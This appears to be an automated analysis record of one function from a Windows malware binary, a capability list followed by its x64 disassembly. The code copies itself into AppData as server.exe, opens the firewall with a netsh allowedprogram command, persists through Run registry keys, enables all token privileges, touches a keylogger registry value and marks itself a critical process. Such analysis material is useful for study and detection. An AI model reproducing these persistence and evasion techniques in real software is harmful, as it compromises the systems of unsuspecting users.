Function at 0x140001390
Capabilities:
Acquire debug privileges
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Decode data using base64 via winapi
Delete registry value
Encode data using base64 via winapi
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013d1
lea rcx, str.mutex_create_error__n
jmp 0x1400013ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
mov qword [rsp + 0x710], rbx
call fcn.140001320
mov eax, dword [0x140040118]
lea rcx, [rbp + 0x1d0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x60], eax
xor edx, edx
movzx eax, word [0x14004011c]
mov r8d, 0x208
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x64], ax
call fcn.14000a920
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x208
call fcn.14000a920
xor edx, edx
lea rcx, [rbp + 0x3e0]
mov r8d, 0x208
call fcn.14000a920
mov r8d, 0x104
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001508
mov r9d, 1
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1d0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001508
lea rax, [rsp + 0x50]
mov edx, 0xc8
lea r9, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x40]
call fcn.140006750
lea rax, [rbp + 0x3e0]
lea r8, [rbp - 0x40]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400014f4
add rax, 2
test ecx, ecx
jne 0x1400014e0
test edx, edx
jne 0x1400016b5
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
mov qword [rsp + 0x718], rsi
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x720], rdi
mov r8d, 0x208
call fcn.14000a920
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015ff
xor edx, edx
lea rcx, [rbp + 0x3e0]
mov r8d, 0x208
call fcn.14000a920
mov edx, 0x5c
lea rcx, [rbp - 0x40]
call fcn.14000a7e0
lea rcx, [rax + 2]
test rax, rax
jne 0x140001572
lea rcx, [rbp - 0x40]
lea r8, [rbp + 0x3e0]
sub r8, rcx
nop dword [rax]
movzx eax, word [rcx]
mov word [r8 + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001580
lea rdx, [rbp + 0x3e0]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x208
call fcn.14000a920
lea rax, [rbp + 0x3e0]
mov edx, 0xc8
lea r9, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x1d0]
call fcn.140006750
lea rdx, [rbp + 0x1d0]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x1d0]
call fcn.1400067b0
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x40]
movaps xmm1, xmmword [0x140040350]
xor edx, edx
movzx eax, word [0x140040380]
mov r8d, 0x208
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x140040360]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm1, xmmword [0x140040370]
movaps xmmword [rbp - 0x70], xmm0
movaps xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], ax
call fcn.14000a920
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000181c
lea rax, [rsp + 0x40]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x1400016e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000175c
xor r8d, r8d
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001508
lea rcx, [rbp - 0x40]
call fcn.1400067b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x40]
mov rax, rbx
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400016f0
mov rcx, qword [rsp + 0x40]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x70]
lea rax, [rbp - 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x140001756
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000175c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x40]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400017a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000181c
lea rax, [rbp - 0x40]
nop dword [rax]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400017b0
mov rcx, qword [rsp + 0x40]
lea eax, [rbx*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x70]
lea rax, [rbp - 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x140001816
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000181c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140006870
xor esi, esi
lea rax, [rsp + 0x48]
xor r9d, r9d
mov dword [rsp + 0x48], esi
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, esi
lea edx, [rsi + 8]
lea r8d, [rsi + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x1400018f3
mov ecx, eax
call fcn.140010578
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.14000a920
lea rax, [rsp + 0x48]
mov r9, rbx
lea edx, [rsi + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], sil
je 0x1400018f3
mov r8d, 1
nop dword [rax + rax]
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x1400018b5
cmp al, 0xa
je 0x1400018b5
inc r8d
jmp 0x1400018e9
mov ecx, r8d
mov eax, r8d
lea rdx, [rcx + rbx]
movzx ecx, byte [rcx + rbx]
test cl, cl
je 0x1400018e2
nop word [rax + rax]
inc eax
mov byte [rdx - 1], cl
lea rdx, [rax + rbx]
mov ecx, eax
movzx ecx, byte [rdx]
test cl, cl
jne 0x1400018d0
mov ecx, eax
mov byte [rcx + rbx - 1], sil
lea eax, [r8 - 1]
cmp byte [rax + rbx], sil
jne 0x1400018a0
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x40], esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rdi, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140001967
mov ecx, eax
call fcn.140010578
mov rdi, rax
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x40]
mov r9, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rdi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.140010564
mov rcx, rdi
call fcn.140010564
call fcn.140003f30
lea rax, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x720]
test eax, eax
jne 0x1400019ed
mov rcx, qword [rsp + 0x40]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400019ed
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
mov qword [rsp + 0x40], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001bd7
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0xb0], rsi
mov qword [rbp - 0x38], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], rcx
mov rbx, rsi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp + 0x38], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp + 0x40], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp + 0x48], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp + 0x50], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp + 0x58], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp + 0x60], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp + 0x68], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp + 0x70], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 0x78], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x80], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x88], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x90], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x98], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0xa0], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0xa8], rcx
nop dword [rax]
xor ecx, ecx
lea r8, [rsp + 0x54]
mov rdx, rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rbp + rbx*8 - 0x40]
test rax, rax
jne 0x140001b80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, qword [rsp + 0x718]
mov rbx, rax
test rax, rax
jne 0x140001c06
lea rcx, str.OpenProcess_error__n
jmp 0x140001c6e
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001c31
lea rcx, str.GetProcAddress_error__n
jmp 0x140001c6e
mov r9d, 4
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x40]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001c67
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x140001c73
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov rbx, qword [rsp + 0x710]
mov eax, 1
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.140007510
add rsp, 0x700
pop rbp
ret